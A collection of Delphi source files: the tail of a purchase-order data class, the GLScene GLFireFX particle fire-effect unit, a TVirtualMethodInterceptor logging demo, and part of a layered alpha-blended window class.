[TFormatter(ftFloatComSeparador, taRightJustify)]
property ValorTotalProdutos: Extended read FVALOR_TOTAL_PRODUTOS write FVALOR_TOTAL_PRODUTOS;
[TColumn('VALOR_FRETE', 'Valor Frete', 168, [ldGrid, ldLookup, ldCombobox], False)]
[TFormatter(ftFloatComSeparador, taRightJustify)]
property ValorFrete: Extended read FVALOR_FRETE write FVALOR_FRETE;
[TColumn('VALOR_SEGURO', 'Valor Seguro', 168, [ldGrid, ldLookup, ldCombobox], False)]
[TFormatter(ftFloatComSeparador, taRightJustify)]
property ValorSeguro: Extended read FVALOR_SEGURO write FVALOR_SEGURO;
[TColumn('VALOR_OUTRAS_DESPESAS', 'Valor Outras Despesas', 168, [ldGrid, ldLookup, ldCombobox], False)]
[TFormatter(ftFloatComSeparador, taRightJustify)]
property ValorOutrasDespesas: Extended read FVALOR_OUTRAS_DESPESAS write FVALOR_OUTRAS_DESPESAS;
[TColumn('VALOR_IPI', 'Valor Ipi', 168, [ldGrid, ldLookup, ldCombobox], False)]
[TFormatter(ftFloatComSeparador, taRightJustify)]
property ValorIpi: Extended read FVALOR_IPI write FVALOR_IPI;
[TColumn('VALOR_TOTAL_NF', 'Valor Total Nf', 168, [ldGrid, ldLookup, ldCombobox], False)]
[TFormatter(ftFloatComSeparador, taRightJustify)]
property ValorTotalNf: Extended read FVALOR_TOTAL_NF write FVALOR_TOTAL_NF;
[TColumn('QUANTIDADE_PARCELAS', 'Quantidade Parcelas', 80, [ldGrid, ldLookup, ldCombobox], False)]
[TFormatter(ftZerosAEsquerda, taCenter)]
property QuantidadeParcelas: Integer read FQUANTIDADE_PARCELAS write FQUANTIDADE_PARCELAS;
[TColumn('DIAS_PRIMEIRO_VENCIMENTO', 'Dias Primeiro Vencimento', 80, [ldGrid, ldLookup, ldCombobox], False)]
[TFormatter(ftZerosAEsquerda, taCenter)]
property DiasPrimeiroVencimento: Integer read FDIAS_PRIMEIRO_VENCIMENTO write FDIAS_PRIMEIRO_VENCIMENTO;
[TColumn('DIAS_INTERVALO', 'Dias Intervalo', 80, [ldGrid, ldLookup, ldCombobox], False)]
[TFormatter(ftZerosAEsquerda, taCenter)]
property DiasIntervalo: Integer read FDIAS_INTERVALO write FDIAS_INTERVALO;
//Transientes
[TAssociation('ID', 'ID_COMPRA_TIPO_PEDIDO')]
property CompraTipoPedidoVO: TCompraTipoPedidoVO read FCompraTipoPedidoVO write FCompraTipoPedidoVO;
[TAssociation('ID', 'ID_FORNECEDOR')]
property FornecedorVO: TViewPessoaFornecedorVO read FFornecedorVO write FFornecedorVO;
[TManyValuedAssociation('ID_COMPRA_PEDIDO', 'ID')]
property ListaCompraPedidoDetalheVO: TObjectList<TCompraPedidoDetalheVO> read FListaCompraPedidoDetalheVO write FListaCompraPedidoDetalheVO;
[TManyValuedAssociation('ID_COMPRA_PEDIDO', 'ID')]
property ListaCompraCotacaoPedidoDetalheVO: TObjectList<TCompraCotacaoPedidoDetalheVO> read FListaCompraCotacaoPedidoDetalheVO write FListaCompraCotacaoPedidoDetalheVO;
end;
implementation
constructor TCompraPedidoVO.Create;
begin
inherited;
FFornecedorVO := TViewPessoaFornecedorVO.Create;
FCompraTipoPedidoVO := TCompraTipoPedidoVO.Create;
FListaCompraPedidoDetalheVO := TObjectList<TCompraPedidoDetalheVO>.Create;
FListaCompraCotacaoPedidoDetalheVO := TObjectList<TCompraCotacaoPedidoDetalheVO>.Create;
end;
destructor TCompraPedidoVO.Destroy;
begin
FreeAndNil(FFornecedorVO);
FreeAndNil(FCompraTipoPedidoVO);
FreeAndNil(FListaCompraPedidoDetalheVO);
FreeAndNil(FListaCompraCotacaoPedidoDetalheVO);
inherited;
end;
initialization
Classes.RegisterClass(TCompraPedidoVO);
finalization
Classes.UnRegisterClass(TCompraPedidoVO);
end.
|
{: GLFireFX<p>
Fire special effect<p>
<b>Historique : </b><font size=-1><ul>
<li>09/03/01 - Egg - Fixed MaxParticles change, added RingExplosion
<li>08/03/01 - Egg - Revisited the effect and added new parameters,
dropped/renamed some, started documentation (just started)
<li>13/01/01 - Egg - Another matrix compatibility update
<li>22/12/00 - Egg - Compatibility for new Matrix rules, and sometime
ago, added in all new props from Danjel Grosar
<li>11/08/00 - Egg - A few speedups/enhancements
<li>08/08/00 - Egg - Creation, based on Roger Cao's "FireEffectUnit"
</ul></font>
}
unit GLFireFX;
interface
uses Windows, Classes, GLScene, GLMisc, XCollection, Geometry, Graphics,
GLTexture, GLCadencer;
type
PFireParticle = ^TFireParticle;
TFireParticle = record
Position : TVector;
Speed : TVector;
Alpha : Single;
TimeToLive, LifeLength : Single;
end;
TFireParticleArray = array [0..MAXINT shr 6]of TFireParticle;
PFireParticleArray = ^TFireParticleArray;
TGLBFireFX = class;
// TGLFireFXManager
//
{: Fire special effect manager.<p>
Defines the looks and behaviour of a particle system that can be made
to look fire-like. }
TGLFireFXManager = class (TGLCadenceAbleComponent)
private
{ Private Declarations }
FClients : TList;
FFireParticles : PFireParticleArray;
FFireDir, FInitialDir : TGLCoordinates;
FCadencer : TGLCadencer;
FMaxParticles, FParticleLife : Integer;
FParticleSize, FFireDensity, FFireEvaporation : Single;
FFireCrown, FParticleInterval, IntervalDelta : Single;
NP : Integer;
FInnerColor, FOuterColor : TGLColor;
FFireBurst, FFireRadius : Single;
FDisabled, FPaused, FUseInterval : Boolean;
FReference : TGLBaseSceneObject;
protected
{ Protected Declarations }
procedure RegisterClient(aClient : TGLBFireFX);
procedure DeRegisterClient(aClient : TGLBFireFX);
procedure DeRegisterAllClients;
procedure SetFireDir(const val : TGLCoordinates);
procedure SetInitialDir(const val : TGLCoordinates);
procedure SetCadencer(const val : TGLCadencer);
function StoreParticleSize : Boolean;
procedure SetInnerColor(const val : TGLcolor);
procedure SetOuterColor(const val : TGLcolor);
procedure SetReference(const val : TGLBaseSceneObject);
procedure SetMaxParticles(const val : Integer);
procedure Notification(AComponent: TComponent; Operation: TOperation); override;
procedure CalcFire(deltaTime : Double; ParticleInterval, ParticleLife: Single;
FireAlpha: Single);
procedure AffParticle3d(Color2: TColorVector; const mat : TMatrix);
public
{ Public Declarations }
constructor Create(AOwner: TComponent); override;
destructor Destroy; override;
{: Reinitializes the fire. }
procedure FireInit;
{: Spawns a large quantity of particles to simulate an isotropic explosion.<p>
This method generates an isotropic explosion, i.e. there is no
privilegied direction in the initial vector. }
procedure IsotropicExplosion(minInitialSpeed, maxInitialSpeed, lifeBoostFactor : Single;
nbParticles : Integer = -1);
{: Spawns a large quantity of particles to simulate a ring explosion.<p>
This method generates a ring explosion. The plane of the ring is described
by ringVectorX/Y, which should be of unit length (but you may not
make them of unit length if you want "elliptic" rings). }
procedure RingExplosion(minInitialSpeed, maxInitialSpeed, lifeBoostFactor : Single;
const ringVectorX, ringVectorY : TAffineVector;
nbParticles : Integer = -1);
{: Current Nb of particles. }
property ParticleCount : Integer read NP;
procedure DoProgress(const deltaTime, newTime : Double); override;
published
{ Published Declarations }
{: Adjusts the acceleration direction (abs coordinates). }
property FireDir : TGLCoordinates read FFireDir write SetFireDir;
{: Adjusts the initial direction (abs coordinates). }
property InitialDir : TGLCoordinates read FInitialDir write SetInitialDir;
{: The cadencer that will "drive" the animation of the system. }
property Cadencer : TGLCadencer read FCadencer write SetCadencer;
{: Maximum number of simultaneous particles in the system. }
property MaxParticles : Integer read FMaxParticles write SetMaxParticles default 256;
{: Size of the particle, in absolute units. }
property ParticleSize : Single read FParticleSize write FParticleSize stored StoreParticleSize;
{: Inner color of a particle. }
property InnerColor : TGLcolor read FInnerColor write SetInnerColor;
{: Outer color of a particle. }
property OuterColor : TGLcolor read FOuterColor write SetOuterColor;// default clrWhite;
property FireDensity : Single read FFireDensity write FFireDensity;
property FireEvaporation : Single read FFireEvaporation write FFireEvaporation;
{: Adjust a crown (circular) radius on which particles are spawned.<p>
With a value of zero, the particles are spawned in the FireRadius
cube around the origin, with a non zero value, they appear in
a torus of major radius FireCrown, and minor radius FireRadius*1.73. }
property FireCrown : Single read FFireCrown write FFireCrown;
{: Life length of particle. }
property ParticleLife : Integer read FParticleLife write FParticleLife default 3;
property FireBurst : Single read FFireBurst write FFireBurst;
{: Adjusts the random birth radius for particles (actually a birth cube). }
property FireRadius : Single read FFireRadius write FFireRadius;
{: If true, no new particles are spawn.<p>
But current ones continue to live and die. }
property Disabled : Boolean read FDisabled write FDisabled;
{: When paused, the fire animation is freezed. }
property Paused : Boolean read FPaused write FPaused;
{: Interval between particles births (in sec).<p>
The interval may not be honoured if MawParticles is reached. }
property ParticleInterval : Single read FParticleInterval write FParticleInterval;
{: Enable/disable use of ParticleInterval.<p>
If true ParticleInterval is used, if False, the system will attempt
to maintain a particle count of MaxParticles, by spawning new
particles to replace the dead ones ASAP. }
property UseInterval : Boolean read FUseInterval write FUseInterval;
{: Specifies an optional object whose position to use as reference.<p>
This property allows switching between static/shared fires (for
fireplaces or static torches) and dynamic fire trails.<br>
The absolute position of the reference object is 'central' spawning
point for new particles, usually, the object will be the one and only
one on which the effect is applied. }
property Reference : TGLBaseSceneObject read FReference write SetReference;
end;
// TGLBFireFX
//
{: Fire special effect.<p>
This effect works as a client of TFireFXManager }
TGLBFireFX = class (TGLObjectPostEffect)
private
{ Private Declarations }
FManager : TGLFireFXManager;
FManagerName : String; // NOT persistent, temporarily used for persistence
protected
{ Protected Declarations }
procedure SetManager(const val : TGLFireFXManager);
procedure WriteToFiler(writer : TWriter); override;
procedure ReadFromFiler(reader : TReader); override;
procedure Loaded; override;
public
{ Public Declarations }
constructor Create(aOwner : TXCollection); override;
destructor Destroy; override;
procedure Assign(Source: TPersistent); override;
class function FriendlyName : String; override;
class function FriendlyDescription : String; override;
procedure Render(sceneViewer : TGLSceneViewer;
var rci : TRenderContextInfo); override;
published
{ Published Declarations }
{: Refers the collision manager. }
property Manager : TGLFireFXManager read FManager write SetManager;
end;
// ------------------------------------------------------------------
// ------------------------------------------------------------------
// ------------------------------------------------------------------
implementation
// ------------------------------------------------------------------
// ------------------------------------------------------------------
// ------------------------------------------------------------------
uses SysUtils, OpenGL12, VectorLists;
// ------------------
// ------------------ TGLFireFXManager ------------------
// ------------------
// Create
//
constructor TGLFireFXManager.Create(AOwner: TComponent);
begin
inherited Create(AOwner);
FClients:=TList.Create;
RegisterManager(Self);
FFireDir:=TGLCoordinates.CreateInitialized(Self, VectorMake(0, 0.5, 0));
FInitialDir:=TGLCoordinates.CreateInitialized(Self, YHmgVector);
FMaxParticles:=256;
FParticleSize:=1.0;
FInnerColor:=TGLColor.Create(Self);
FInnerColor.Initialize(clrYellow);
FOuterColor:=TGLColor.Create(Self);
FOuterColor.Initialize(clrOrange);
FFireDensity:=1;
FFireEvaporation:=0.86;
FFireCrown:=0;
FParticleLife:=3;
FFireBurst:=0;
FFireRadius:=1;
FParticleInterval:=0.1;
FDisabled:=false;
Fpaused:=false;
FUseInterval:=True;
IntervalDelta:=0;
FireInit;
end;
// Destroy
//
destructor TGLFireFXManager.Destroy;
begin
DeRegisterAllClients;
DeRegisterManager(Self);
FreeMem(FFireParticles);
FClients.Free;
FFireDir.Free;
FInitialDir.Free;
inherited Destroy;
end;
// RegisterClient
//
procedure TGLFireFXManager.RegisterClient(aClient : TGLBFireFX);
begin
if Assigned(aClient) then
if FClients.IndexOf(aClient)<0 then begin
FClients.Add(aClient);
aClient.FManager:=Self;
end;
end;
// DeRegisterClient
//
procedure TGLFireFXManager.DeRegisterClient(aClient : TGLBFireFX);
begin
if Assigned(aClient) then begin
aClient.FManager:=nil;
FClients.Remove(aClient);
end;
end;
// DeRegisterAllClients
//
procedure TGLFireFXManager.DeRegisterAllClients;
var
i : Integer;
begin
// Fast deregistration
for i:=0 to FClients.Count-1 do
TGLBFireFX(FClients[i]).FManager:=nil;
FClients.Clear;
end;
// SetFireDir
//
procedure TGLFireFXManager.SetFireDir(const val : TGLCoordinates);
begin
FFireDir.Assign(val);
end;
// SetInitialDir
//
procedure TGLFireFXManager.SetInitialDir(const val : TGLCoordinates);
begin
FInitialDir.Assign(val);
end;
// SetCadencer
//
procedure TGLFireFXManager.SetCadencer(const val : TGLCadencer);
begin
if FCadencer<>val then begin
if Assigned(FCadencer) then
FCadencer.UnSubscribe(Self);
FCadencer:=val;
if Assigned(FCadencer) then
FCadencer.Subscribe(Self);
end;
end;
// StoreParticleSize
//
function TGLFireFXManager.StoreParticleSize : Boolean;
begin
Result:=(FParticleSize<>1);
end;
// SetInnerColor
//
procedure TGLFireFXManager.SetInnerColor(const val : TGLcolor);
begin
if FInnerColor<>val then begin
FInnerColor.color:=val.color;
FireInit;
end;
end;
// SetOuterColor
//
procedure TGLFireFXManager.SetOuterColor(const val : TGLcolor);
begin
if FOuterColor<>val then begin
FOuterColor.color:=val.color;
FireInit;
end;
end;
// SetReference
//
procedure TGLFireFXManager.SetReference(const val : TGLBaseSceneObject);
begin
// nothing more yet, maybe later
FReference:=val;
end;
// SetMaxParticles
//
procedure TGLFireFXManager.SetMaxParticles(const val : Integer);
begin
if val<>MaxParticles then begin
if val>0 then
FMaxParticles:=val
else FMaxParticles:=0;
ReallocMem(FFireParticles, MaxParticles*Sizeof(TFireParticle));
if NP>MaxParticles then NP:=MaxParticles;
end;
end;
// Notification
//
procedure TGLFireFXManager.Notification(AComponent: TComponent; Operation: TOperation);
begin
if Operation=opRemove then begin
if AComponent=FCadencer then
Cadencer:=nil
else if AComponent=FReference then
Reference:=nil;
end;
end;
// DoProgress
//
procedure TGLFireFXManager.DoProgress(const deltaTime, newTime : Double);
var
i : Integer;
begin
// Progress the particles
If (not FPaused) and (FParticleInterval > 0) then
CalcFire(deltaTime*(1.0+Abs(FFireBurst)), FParticleInterval, FParticleLife, FFireDensity);
// Invalidate all clients
for i:=0 to FClients.Count-1 do
TGLBFireFX(FClients[i]).OwnerBaseSceneObject.NotifyChange(TGLBFireFX(FClients[i]));
end;
// FireInit
//
procedure TGLFireFXManager.FireInit;
begin
IntervalDelta:=0;
NP:=0;
ReallocMem(FFireParticles, FMaxParticles*Sizeof(TFireParticle));
end;
// IsotropicExplosion
//
procedure TGLFireFXManager.IsotropicExplosion(minInitialSpeed, maxInitialSpeed, lifeBoostFactor : Single;
nbParticles : Integer = -1);
var
n : Integer;
tmp, refPos : TVector;
begin
if nbParticles<0 then n:=MaxInt else n:=nbParticles;
if Assigned(Reference) then
refPos:=Reference.AbsolutePosition
else refPos:=NullHmgPoint;
while (NP<MaxParticles) and (n>0) do begin
// okay, ain't exactly "isotropic"...
SetVector(tmp, Random-0.5, Random-0.5, Random-0.5, 0);
NormalizeVector(tmp);
ScaleVector(tmp, minInitialSpeed+Random*(maxInitialSpeed-minInitialSpeed));
with FFireParticles[NP] do begin
Position:=VectorAdd(refPos, VectorMake((2*Random-1)*FireRadius, (2*Random-1)*FireRadius, (2*Random-1)*FireRadius));
Speed:=tmp;
TimeToLive:=ParticleLife*(Random*0.5+0.5)*lifeBoostFactor;
LifeLength:=TimeToLive;
Alpha:=FireDensity;
end;
Inc(NP);
Dec(n);
end;
end;
// RingExplosion
//
procedure TGLFireFXManager.RingExplosion(minInitialSpeed, maxInitialSpeed, lifeBoostFactor : Single;
const ringVectorX, ringVectorY : TAffineVector;
nbParticles : Integer = -1);
var
n : Integer;
tmp, refPos : TVector;
fx, fy, d : Single;
begin
if nbParticles<0 then n:=MaxInt else n:=nbParticles;
if Assigned(Reference) then
refPos:=Reference.AbsolutePosition
else refPos:=NullHmgPoint;
while (NP<MaxParticles) and (n>0) do begin
// okay, ain't exactly and "isotropic" ring...
fx:=Random-0.5;
fy:=Random-0.5;
d:=1/Sqrt(Sqr(fx)+Sqr(fy));
PAffineVector(@tmp)^:=VectorCombine(ringVectorX, ringVectorY, fx*d, fy*d);
tmp[3]:=1;
ScaleVector(tmp, minInitialSpeed+Random*(maxInitialSpeed-minInitialSpeed));
with FFireParticles[NP] do begin
Position:=VectorAdd(refPos, VectorMake((2*Random-1)*FireRadius, (2*Random-1)*FireRadius, (2*Random-1)*FireRadius));
Speed:=tmp;
TimeToLive:=ParticleLife*(Random*0.5+0.5)*lifeBoostFactor;
LifeLength:=TimeToLive;
Alpha:=FireDensity;
end;
Inc(NP);
Dec(n);
end;
end;
// CalcFire
//
procedure TGLFireFXManager.CalcFire(deltaTime : Double;
particleInterval, particleLife : Single; fireAlpha: Single);
var
N, I : Integer;
Fdelta : Single;
tmp, refPos : TVector;
begin
// Process live stuff
N:=0;
I:=0;
while N<NP do begin
FFireParticles[I].TimeToLive := FFireParticles[I].TimeToLive - deltaTime;
if (FFireParticles[I].TimeToLive<=0) then begin
//Get the prev element
Dec(NP);
FFireParticles[I]:=FFireParticles[NP];
end else begin
//animate it
with FFireParticles[I] do begin
Speed:=VectorCombine(Speed, FireDir.AsVector, 1, deltaTime);
Position:=VectorCombine(Position, Speed, 1, deltaTime);
end;
Inc(N);
Inc(I);
end;
end;
// Spawn new particles
if FDisabled then Exit;
if Assigned(Reference) then
refPos:=Reference.AbsolutePosition
else refPos:=NullHmgPoint;
IntervalDelta:=IntervalDelta+deltaTime/ParticleInterval;
if (not UseInterval) or (IntervalDelta>1) then begin
fDelta:=Frac(IntervalDelta);
while (NP<MaxParticles) do begin
SetVector(tmp, (2*Random-1)*FireRadius, (2*Random-1)*FireRadius,
FireCrown+(2*Random-1)*FireRadius);
RotateVectorAroundY(PAffineVector(@tmp)^, Random*2*PI);
AddVector(tmp, refPos);
with FFireParticles[NP] do begin
Position:=tmp;
Speed:=InitialDir.AsVector;
TimeToLive:=ParticleLife*(Random*0.5+0.5);
LifeLength:=TimeToLive;
Alpha:=FireAlpha;
end;
Inc(NP);
if UseInterval then Break;
end;
IntervalDelta:=fDelta;
end;
end;
// AffParticle3d
//
procedure TGLFireFXManager.AffParticle3d(Color2: TColorVector; const mat : TMatrix);
var
vx, vy : TVector;
i : Integer;
begin
for i:=0 to 2 do begin
vx[i]:=mat[i][0]*FParticleSize;
vy[i]:=mat[i][1]*FParticleSize;
end;
glBegin(GL_TRIANGLE_FAN);
glVertex3fv(@NullVector);
glColor4f(Color2[0], Color2[1], Color2[2], 0.0);
glVertex3f(-vx[0], -vx[1], -vx[2]);
// those things should be composited in the model view matrix
glVertex3f(-0.5*vx[0]+FFireEvaporation*vy[0],
-0.5*vx[1]+FFireEvaporation*vy[1],
-0.5*vx[2]+FFireEvaporation*vy[2]);
glVertex3f(+0.5*vx[0]+FFireEvaporation*vy[0],
+0.5*vx[1]+FFireEvaporation*vy[1],
+0.5*vx[2]+FFireEvaporation*vy[2]);
glVertex3f(+vx[0], +vx[1], +vx[2]);
glVertex3f(+0.5*vx[0]-FFireEvaporation*vy[0],
+0.5*vx[1]-FFireEvaporation*vy[1],
+0.5*vx[2]-FFireEvaporation*vy[2]);
glVertex3f(-0.5*vx[0]-FFireEvaporation*vy[0],
-0.5*vx[1]-FFireEvaporation*vy[1],
-0.5*vx[2]-FFireEvaporation*vy[2]);
glVertex3f(-vx[0], -vx[1], -vx[2]);
glEnd;
end;
// ------------------
// ------------------ TGLBFireFX ------------------
// ------------------
// Create
//
constructor TGLBFireFX.Create(aOwner : TXCollection);
begin
inherited Create(aOwner);
end;
// Destroy
//
destructor TGLBFireFX.Destroy;
begin
Manager:=nil;
inherited Destroy;
end;
// FriendlyName
//
class function TGLBFireFX.FriendlyName : String;
begin
Result:='FireFX';
end;
// FriendlyDescription
//
class function TGLBFireFX.FriendlyDescription : String;
begin
Result:='Fire FX';
end;
// WriteToFiler
//
procedure TGLBFireFX.WriteToFiler(writer : TWriter);
begin
with writer do begin
WriteInteger(0); // ArchiveVersion 0
if Assigned(FManager) then
WriteString(FManager.GetNamePath)
else WriteString('');
end;
end;
// ReadFromFiler
//
procedure TGLBFireFX.ReadFromFiler(reader : TReader);
begin
with reader do begin
Assert(ReadInteger=0);
FManagerName:=ReadString;
Manager:=nil;
end;
end;
// Loaded
//
procedure TGLBFireFX.Loaded;
var
mng : TComponent;
begin
inherited;
if FManagerName<>'' then begin
mng:=FindManager(TGLFireFXManager, FManagerName);
if Assigned(mng) then
Manager:=TGLFireFXManager(mng);
FManagerName:='';
end;
end;
// Assign
//
procedure TGLBFireFX.Assign(Source: TPersistent);
begin
if Source is TGLBFireFX then begin
Manager:=TGLBFireFX(Source).Manager;
end;
inherited Assign(Source);
end;
// SetManager
//
procedure TGLBFireFX.SetManager(const val : TGLFireFXManager);
begin
if val<>FManager then begin
if Assigned(FManager) then
FManager.DeRegisterClient(Self);
if Assigned(val) then
val.RegisterClient(Self);
end;
end;
// Render
//
procedure TGLBFireFX.Render(sceneViewer : TGLSceneViewer;
var rci : TRenderContextInfo);
var
n : Integer;
i : Integer;
innerColor : TVector;
lastTr : TAffineVector;
distList : TSingleList;
objList : TList;
fp : PFireParticle;
FHandle : Integer;
mat : TMatrix;
begin
if Manager=nil then Exit;
glPushAttrib(GL_ALL_ATTRIB_BITS);
glPushMatrix;
// revert to the base model matrix in the case of a referenced fire
if Assigned(Manager.Reference) then begin
glLoadMatrixf(@OwnerBaseSceneObject.Scene.CurrentViewer.ModelViewMatrix);
end;
glDisable(GL_CULL_FACE);
glDisable(GL_TEXTURE_2D);
glDisable(GL_LIGHTING);
glBlendFunc(GL_SRC_ALPHA, GL_ONE);
glEnable(GL_BLEND);
glDepthFunc(GL_LEQUAL);
n := Manager.NP;
if n>1 then begin
distList:=TSingleList.Create;
objList:=TList.Create;
for i:=0 to n-1 do begin
fp:=@(Manager.FFireParticles[i]);
distList.Add(VectorDotProduct(rci.cameraDirection, fp.Position));
objList.Add(fp);
end;
QuickSortLists(0, N-1, distList, objList);
glGetFloatv(GL_MODELVIEW_MATRIX, @mat);
FHandle:=glGenLists(1);
glNewList(FHandle, GL_COMPILE);
Manager.AffParticle3d(Manager.FOuterColor.Color, mat);
glEndList;
glPushMatrix;
lastTr:=NullVector;
SetVector(innerColor, Manager.FInnerColor.Color);
for i:=n-1 downto 0 do begin
fp:=PFireParticle(objList[i]);
glTranslatef(fp.Position[0]-lastTr[0], fp.Position[1]-lastTr[1], fp.Position[2]-lastTr[2]);
SetVector(lastTr, fp.Position);
innerColor[3]:=fp.Alpha*fp.TimeToLive/Sqr(fp.LifeLength);
glColor4fv(@innerColor);
glCallList(FHandle);
end;
glPopMatrix;
glDeleteLists(FHandle, 1);
objList.Free;
distList.Free;
end;
glDepthFunc(GL_LESS);
glPopMatrix;
glPopAttrib;
end;
// ------------------------------------------------------------------
// ------------------------------------------------------------------
// ------------------------------------------------------------------
initialization
// ------------------------------------------------------------------
// ------------------------------------------------------------------
// ------------------------------------------------------------------
// class registrations
RegisterXCollectionItemClass(TGLBFireFX);
// ------------------------------------------------------------------
// ------------------------------------------------------------------
// ------------------------------------------------------------------
finalization
// ------------------------------------------------------------------
// ------------------------------------------------------------------
// ------------------------------------------------------------------
end.
|
unit uVMIDemo;
interface
type
TVMIDemo = class(TObject)
procedure DoSomething; virtual;
procedure RaiseException; virtual;
end;
procedure Main;
implementation
uses
System.SysUtils
, System.Rtti
, Generics.Collections
;
procedure DoBefore(Instance: TObject; Method: TRttiMethod;
const Args: TArray<TValue>; out DoInvoke: Boolean; out Result: TValue);
begin
Writeln('Before: ', Method.Name);
end;
procedure DoAfter(Instance: TObject; Method: TRttiMethod;
const Args: TArray<TValue>; var Result: TValue);
begin
Writeln('After: ', Method.Name);
end;
procedure DoException(Instance: TObject; Method: TRttiMethod;
const Args: TArray<TValue>; out RaiseException: Boolean;
TheException: Exception; out Result: TValue);
var
Str: string;
begin
Str := Format('An exception occurred in %s with the message: %s', [Method.Name, TheException.Message]);
WriteLn(Str);
RaiseException := False;
Result := False;
end;
{ TVMIDemoClass }
procedure TVMIDemo.DoSomething;
begin
WriteLn('Doing something');
end;
procedure TVMIDemo.RaiseException;
begin
raise Exception.Create('Raised on purpose.');
end;
procedure Main;
var
VMI: TVirtualMethodInterceptor;
VMIDemo: TVMIDemo;
begin
VMIDemo := TVMIDemo.Create;
VMI := TVirtualMethodInterceptor.Create(TVMIDemo);
try
VMI.OnBefore := DoBefore;
VMI.OnAfter := DoAfter;
VMI.OnException := DoException;
VMI.Proxify(VMIDemo);
VMIDemo.DoSomething;
VMIDemo.RaiseException;
Writeln('class: ', VMIDemo.ClassName);
Writeln('parent class: ', VMIDemo.ClassParent.ClassName);
finally
VMI.Free;
end;
end;
end.
|
unit AlphaWnd;
{*******************************************************}
{ }
{ Alpha Clock }
{ 32bpp window implementation }
{ }
{ Copyright (c) 2006, Anton A. Drachev }
{ 911.anton@gmail.com }
{ }
{ Distributed "AS IS" under BSD-like license }
{ Full text of license can be found in }
{ "License.txt" file attached }
{ }
{*******************************************************}
interface
uses Classes, Graphics, Windows, Messages, GDIPAPI, GDIPOBJ;
type TMess = record
Msg: Integer;
WParam: Integer;
LParam: Integer;
Result: Integer;
end;
PMess = ^TMess;
type TAlphaWnd = class(TInterfacedObject)
private
h_Wnd: HWND;
DC: HDC;
PtSrc: Windows.TPoint;
bf: TBlendFunction;
WinSz: Windows.TSize;
FHeight: integer;
FTop: integer;
FWidth: integer;
FLeft: integer;
FBitmap: TGPBitmap;
procedure SetBitmap(const Value: TGPBitmap);
class function WndProc(h_Wnd: HWND; Msg: UINT; w_Param: WPARAM;
l_Param: LPARAM): LRESULT; stdcall; static;
protected
procedure OnCreate; virtual;
function ProcessMsg(msg: PMess): boolean; virtual;
procedure SetAlphaValue(const Value: byte); virtual;
procedure SetHeight(const Value: integer); virtual;
procedure SetLeft(const Value: integer); virtual;
procedure SetTop(const Value: integer); virtual;
procedure SetWidth(const Value: integer); virtual;
public
Parent: HWND;
procedure Invalidate();
procedure Redraw();
procedure Show(); virtual;
procedure Hide(); virtual;
constructor Create(clsStyle: UINT; dwStyle, dwExStyle: DWORD;
hMenu: HMENU; Caption, clsName: PChar; aParent: HWnd = 0;
Icon: HIcon = 0); overload; virtual;
property Handle: HWND read h_Wnd;
property Left: integer read FLeft write SetLeft;
property Top: integer read FTop write SetTop;
property Width: integer read FWidth write SetWidth;
property Height: integer read FHeight write SetHeight;
property Bitmap: TGPBitmap read FBitmap write SetBitmap;
property AlphaValue: byte read bf.SourceConstantAlpha write SetAlphaValue;
end;
implementation
function CreateWindowExA(dwExStyle: DWORD; lpClassName: PChar;
lpWindowName: PChar; dwStyle: DWORD; X, Y, nWidth, nHeight: Integer;
hWndParent: HWND; hMenu: HMENU; hInstance: HINST; lpParam: Pointer): HWND;
stdcall; external user32 name 'CreateWindowExA';
type LPCREATESTRUCT = ^CREATESTRUCT;
{ TAlphaWnd }
class function TAlphaWnd.WndProc(h_Wnd: HWND; Msg: UINT; w_Param: WPARAM;
l_Param: LPARAM): LRESULT; stdcall;
var
lpcs: LPCREATESTRUCT;
pThis: TAlphaWnd;
amsg: TMess;
begin
Result:=0;
pThis:=TAlphaWnd(LPARAM(GetWindowLong(h_Wnd, GWL_USERDATA)));
amsg.Msg:=Msg;
amsg.WParam:=w_Param;
amsg.LParam:=l_Param;
case Msg of
WM_CREATE: begin
lpcs:=LPCREATESTRUCT(l_Param);
pThis:=lpcs.lpCreateParams;
SetWindowLong(h_Wnd, GWL_USERDATA, Longint(pThis));
pThis.h_Wnd:=h_Wnd;
pThis.DC:=GetDC(h_Wnd);
pThis.OnCreate;
Result:=DefWindowProc(h_Wnd, Msg, w_Param, l_Param);
end
else begin
if pThis is TAlphaWnd then begin
if Msg = WM_MOVE then begin
pThis.FLeft:=SmallInt(Windows.LOWORD(l_Param));
pThis.FTop:=SmallInt(Windows.HIWORD(l_Param));
end;
if pThis.ProcessMsg(@amsg) then Result:=amsg.Result
else Result:=DefWindowProc(h_Wnd, Msg, w_Param, l_Param);
end else
Result:=DefWindowProc(h_Wnd, Msg, w_Param, l_Param);
end;
end;
end;
constructor TAlphaWnd.Create(clsStyle: UINT; dwStyle, dwExStyle: DWORD;
hMenu: HMENU; Caption, clsName: PChar; aParent: HWnd = 0; Icon: HIcon = 0);
var
wc: WndClass;
begin
Parent:=aParent;
FLeft:=0;
FTop:=0;
FHeight:=100;
FWidth:=100;
ZeroMemory(@wc, sizeof(WNDCLASS));
wc.style:=clsStyle;
wc.lpfnWndProc:=@TAlphaWnd.WndProc;
wc.hInstance:=hInstance;
wc.hbrBackground:=HBRUSH(GetStockObject(NULL_BRUSH));
wc.lpszClassName:=clsName;
wc.hIcon:=Icon;
RegisterClass(wc);
CreateWindowExA(dwExStyle or WS_EX_LAYERED, clsName, Caption, dwStyle,
FLeft, FTop, FWidth, FHeight, Parent, hMenu, hInstance, Self);
end;
procedure TAlphaWnd.Hide;
begin
ShowWindow(h_Wnd, 0);
end;
procedure TAlphaWnd.Invalidate;
var
bmp, old_bmp: HBITMAP;
BmpDC: HDC;
PtPos: Windows.TPoint;
begin
PtPos:=Point(left, top);
bitmap.GetHBITMAP(0, bmp);
BmpDC:=CreateCompatibleDC(DC);
old_bmp:=SelectObject(BmpDC, bmp);
UpdateLayeredWindow(Handle, DC, @PtPos, @WinSz, BmpDC,
@PtSrc, 0, @bf, ULW_ALPHA);
SelectObject(BmpDC, old_bmp);
DeleteObject(bmp);
DeleteDC(BmpDC);
end;
procedure TAlphaWnd.OnCreate;
begin
bitmap:=TGPBitmap.Create();
PtSrc:=Point(0, 0);
bf.BlendOp:=AC_SRC_OVER;
bf.BlendFlags:=0;
bf.SourceConstantAlpha:=255;
bf.AlphaFormat:=AC_SRC_ALPHA;
end;
function TAlphaWnd.ProcessMsg(msg: PMess): boolean;
begin
Result:=False;
end;
procedure TAlphaWnd.Redraw;
begin
Width:=bitmap.GetWidth;
Height:=bitmap.GetHeight;
WinSz.cx:=bitmap.GetWidth;
WinSz.cy:=bitmap.GetHeight;
Invalidate();
end;
